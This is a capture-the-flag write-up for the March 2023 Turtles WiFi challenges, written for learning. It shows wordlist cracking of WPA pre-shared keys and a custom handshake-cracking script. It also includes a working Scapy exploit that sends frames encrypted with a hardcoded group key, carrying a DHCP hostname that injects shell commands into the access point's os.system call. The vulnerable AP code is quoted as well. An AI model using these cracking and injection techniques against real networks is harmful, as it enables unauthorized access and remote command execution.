Skip to main content

March 2023's Turtles Challenge

ยท 10 min read

Editor's note:โ€‹

The Turtles WiFi challenges are a series of ctf-style problems concerning network and wifi security skills.

The tasks were a bit challenging, and invovled a combination of WiFi Cracking and exploring how WPA Authentication works, against a custom Access point using Salsa20 instead of AES.

Axel Souchet has kindly shared his writeup with us, which we share below.

Turtles: Virtual WiFi Hacking Challenges - March 2023


The older I get, the more fascinated I have become with the world surrounding me; I ask myself all the time 'how does this thing work uh ๐Ÿค”?'. It is both fun and rewarding for me to understand the world a bit better. This is also a great way to be constantly humbled by the magic that surrounds us ๐ŸŒˆ

Although I enjoy the process of learning how things work, there are millions of things that I interact with daily, that I know so little about; embarrassing.

Heck, how does WiFi work I thought? Because I know that I learn best by getting my hands dirty, I decided to try to solve a few challenges as an introduction. That is why I decided to check-out the March Turtle challenge ๐Ÿ™‚

If you want to play at home, you can find the challenges on Github and one the SPR website:

You can participate either directly from your browser via an impressive emulated Linux environment or you can self-host the challenge by cloning the turtles-march-2023 repository and follow the instructions. I chose to self-host the challenges as it made it easier to debug for me.


All right, enough blah blah and let's get warmed up. In that part of the challenge, we are asked to extract data off two packet captures: turtle0.pcap & turtle0.5.pcap.

For the first capture, we need to extract a PSK that looks like the following: turtle{x}, great. Because we don't have more details regarding the PSK's shape itself, it is fair to assume that the authors want us to use a wordlist attack instead of trying to bruteforce it.

I grabbed the famous rockyou wordlist and I wrote a small Python script to format prepend / append turtle{} as this is what the PSK will look like.

with open('rockyou-turtle.txt', 'w', encoding='utf8') as fout:
with open('rockyou.txt', 'r', encoding='utf8', errors='replace') as fin:
for line in fin.readlines():
line = line.strip()

Then, I ran aircrack-ng with the new wordlist against turtle0.pcap with the following command: $ aircrack-ng turtle0.pcap -w rockyou-turtle.txt.

After a few minutes, a valid key was found: turtle{power}, great!

                        Aircrack-ng 1.6

[00:00:01] 3200/2465175 keys tested (5273.73 k/s)

Time left: 7 minutes, 46 seconds 0.13%

KEY FOUND! [ turtle{power} ]

Master Key : 11 8C 23 85 2D 5F 7E AC DE 8C 85 B0 CB 80 02 5F
CA 48 34 DF CE 2D 2A 7C 3C 01 4B A8 14 B7 2D E1

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 6B D2 F8 71 7F E5 D8 5E 5B 68 FE 53 0A 28 9D 4E

The next challenge says that there is data to be decrypted inside turtle0.5.pcap. Both the station and the AP use the 4-way handshake to derive various keys that are used to encrypt traffic. We cracked a PSK in the previous step, so we can open the packet capture into Wireshark and let it decrypt the traffic for us. Follow Wireshark's HowToDecrypt802.11 article to know how to do that.

Once decrypted, there is a PING request with a flag in its payload: turtle{deecoded}, awesome.

Step 1โ€‹

Okay warmups done, time to have a look at the real challenges. For this step, the authors ask for us to crack another PSK from another packet capture of a handshake. We also have the source code of a custom AP.

I initially threw turtle1-handshake.pcap at aircrack-ng with the rockyou-turtle.txt wordlist but no valid key was found, bummer. I thought it was possible that this key was part of another famous wordlist so I downloaded a bunch of them, but ... same. Weird.

I learned more about the 4-way handshake to understand how both the station & AP derive the keys needed to transmit / verify encrypted frames. Because the handshake was captured from a custom AP, it made sense to me that maybe aircrack-ng didn't understand the handshake properly and missed PSK.

I decided to implement the attack on my own. I used the MIC code that is sent by the AP in the 3rd message to verify if a candidate is valid or not (on top of the nonces/macs in the first / second messages). We have the entire EAPOL packet so we can compute the MIC code ourselves and verify if it matches the one sent by the AP. If it does, it means we have found a valid PSK ๐Ÿคค

I ran the script against the turtleified rockyou wordlist, and eventually (it's slow!) found a valid PSK candidate: turtle{excellent} ๐Ÿ”ฅ

# Axel '0vercl0k' Souchet - April 15 2023
# WIN w/ b'turtle{excellent}'
import hashlib
import hmac
from scapy.all import *

class EAPOL_KEY(Packet):
name = 'EAPOL_KEY'
fields_desc = [
ByteEnumField('key_descriptor_type', 1, {1: 'RC4', 2: 'RSN'}),
BitField('reserved2', 0, 2),
BitField('smk_message', 0, 1),
BitField('encrypted_key_data', 0, 1),
BitField('request', 0, 1),
BitField('error', 0, 1),
BitField('secure', 0, 1),
BitField('has_key_mic', 1, 1),
BitField('key_ack', 0, 1),
BitField('install', 0, 1),
BitField('key_index', 0, 2),
BitEnumField('key_type', 0, 1, {0: 'Group/SMK', 1: 'Pairwise'}),
BitEnumField('key_descriptor_type_version', 0, 3, {
1: 'HMAC-MD5+ARC4',
2: 'HMAC-SHA1-128+AES-128',
3: 'AES-128-CMAC+AES-128',
0x20: 'SALSA20-HMAC'
LenField('key_length', None, 'H'),
LongField('key_replay_counter', 0),
XStrFixedLenField('key_nonce', b'\x00'*32, 32),
XStrFixedLenField('key_iv', b'\x00'*16, 16),
XStrFixedLenField('key_rsc', b'\x00'*8, 8),
XStrFixedLenField('key_id', b'\x00'*8, 8),
XStrFixedLenField('key_mic', b'\x00'*16, 16),
LenField('wpa_key_length', None, 'H'),
XStrLenField('key', b'\x00'*16,
length_from=lambda pkt: pkt.wpa_key_length),
lambda pkt: pkt.wpa_key_length and pkt.wpa_key_length > 0)

def customPRF512(key, amac, smac, anonce, snonce):
A = b"Pairwise key expansion"
B = b"".join(sorted([amac, smac]) + sorted([anonce, snonce]))
num_bytes = 64
R = b''
for i in range((num_bytes * 8 + 159) // 160):
R +=, A + chb(0x00) + B + chb(i), hashlib.sha1).digest()
return R[:num_bytes]

def calc(pwd):
amac = bytes.fromhex('02:00:00:00:00:00'.replace(':', ''))
smac = bytes.fromhex('02:00:00:00:01:00'.replace(':', ''))
anonce = bytes.fromhex(
snonce = bytes.fromhex(
PMK = hashlib.pbkdf2_hmac('sha1', pwd, b'turtle1', 4_096, 32)
KCK = customPRF512(PMK, amac, smac, anonce, snonce)[:16]
keydata = bytes.fromhex('ace914ed4b7bf2b638b81c841bd3ab67561681d57591496ff93465d173c04f911679a118fb7f9590faef7fe21aa5c82d8bc746b190ea84e1')
assert len(keydata) == 56
ek = EAPOL(version='802.1X-2004',type='EAPOL-Key') / EAPOL_KEY(
key_descriptor_type=2, key_descriptor_type_version=2, install=1, key_type=1, key_ack=1,\
has_key_mic=1, secure=1, encrypted_key_data=1, key_replay_counter=2, \
key_nonce=anonce, key_length=16, key=keydata, wpa_key_length=len(keydata)
return,, hashlib.sha1).digest()[:16]

def main():
wanted = bytes.fromhex('7235448e1b056108e40ff429ad3545ab')
assert len(wanted) == 16
with open('rockyou-turtle.txt', 'r', encoding='utf8') as fin:
for line in fin.readlines():
candidate = line.strip().encode()
c = calc(candidate)
assert len(c) == 16
if c == wanted:
print(f'WIN w/ {candidate}')

if __name__ == '__main__':

Step 2โ€‹

All right, final step. In this step, we are given another custom AP's source code and we need to break in. How exciting uh?

For this step, I set-up an environment to debug and interact with the AP. I created a regular Hyper-V Ubuntu VM (note that this won't work from WSL2) and ran the two containers with the below commands:

over@bubuntu:~/turtles-march-2023$ sudo docker-compose up -d
[sudo] password for over:
Starting t1_ap ... done
Starting t1_start ... done

over@bubuntu:~/turtles-march-2023$ sudo ./

At that stage, you can log-in into both containers with the following commands:

over@bubuntu:~/turtles-march-2023$ sudo docker exec -it t1_start bash
over@bubuntu:~/turtles-march-2023$ sudo docker exec -it t1_ap bash

t1_ap is the container that runs the AP and t1_start is where you can run a client and send packets to the AP. This is cool because you don't need any physical Wifi device to play in this environment!

One of the keys that is derived during the 4-way handshake is meant to be shared by every station; kind of a group key. My understanding is that it is used to send broadcast-like packets to every station. In the AP, it turns out this key is a constant: turtle{everyone gets a shell :)} ๐Ÿ˜ฌ

After reading the code carefully, it is clear that there you don't need to be associated with the AP to send a packet encrypted with this group key. This is particularly interesting because we don't have knowledge of the PSK which means we wouldn't be able to complete the 4-way handshake. In a normal AP, the GTK is shared in an encrypted frame and it isn't a constant / isn't known by an attacker (and is rotated every time a station disconnects).

Finally, an attacker can trigger a shell command injection when the AP parses a DHCP offer packet:

def reply_dhcp_offer(self, incoming):
# ...
for o in incoming[DHCP].options:
# Log hostname for DNS revers lookup
if o[0] == 'hostname':
cmd = "echo %s %s.lan >> hostnames.txt" % (dest_ip, o[1].decode("ascii"))
os.system(cmd )

At this point we have every ingredients to break into the AP and execute arbitrary shell commands by sending a specially crafted DHCP offer packet encrypted with the GTK ๐Ÿ”ฅ; here's my code that can be run from t1_start:

# Axel '0vercl0k' Souchet - April 11 2023
from scapy.all import *
from salsa20 import Salsa20
from itertools import count
import hmac
import hashlib
import struct

gtk_full = b'turtle{everyone gets a shell :)}'
GTK = gtk_full[:16]
MIC_AP_TO_GROUP = gtk_full[16:24]
group_IV = count()

def encrypt(pkt):
data =
pn = next(group_IV)
aad_calc =, data, hashlib.sha1).digest()[:16]
key = GTK
cipher = Salsa20(key, struct.pack('>Q', pn))
payload = cipher.encrypt(data) + aad_calc
pn0 = pn & 0xff
pn1 = (pn>>8) & 0xff
pn2 = (pn>>16) & 0xff
pn3 = (pn>>24) & 0xff
return Dot11CCMP(data=payload, ext_iv=1, key_id=1, PN0 = pn0, PN1=pn1, PN2=pn2, PN3=pn3)

def main():
# root@0c0b905e70eb:/# iw dev
# phy#0
# Interface mon0
# ifindex 2
# wdev 0x2
# addr 02:00:00:00:00:00
# type monitor
# txpower 20.00 dBm
# Interface wlan0
# ifindex 50
# wdev 0x1
# addr 02:00:00:00:00:00
# type managed
# txpower 20.00 dBm
ap = '02:00:00:00:00:00'
# root@29a50eeb6fb5:/x# iw dev
# phy#1
# Interface wlan1
# ifindex 51
# wdev 0x100000001
# addr 02:00:00:00:01:00
# type managed
# txpower 20.00 dBm
station = '02:00:00:00:01:00'
cmd = 'id; ls /'
inner_pkt = Ether(src=station) / IP() / UDP(dport=67) / BOOTP(op=1) / DHCP(options=[
('hostname', f'; {cmd} #'),
receiver = ap
sender = station
bssid = ap
pkt = RadioTap() / Dot11(addr1=receiver, addr2=sender, addr3=bssid, FCfield='to-DS+protected') / encrypt(inner_pkt)
os.system('iw dev wlan1 interface add mon1 type monitor 2>/dev/null')
sendp(pkt, iface = 'mon1', verbose = True)

if __name__ == '__main__':

Thanks again to SPR, the challenge authors for putting out free educational content, you guys rock ๐Ÿ‘๐ŸฝโœŠ๐Ÿฝ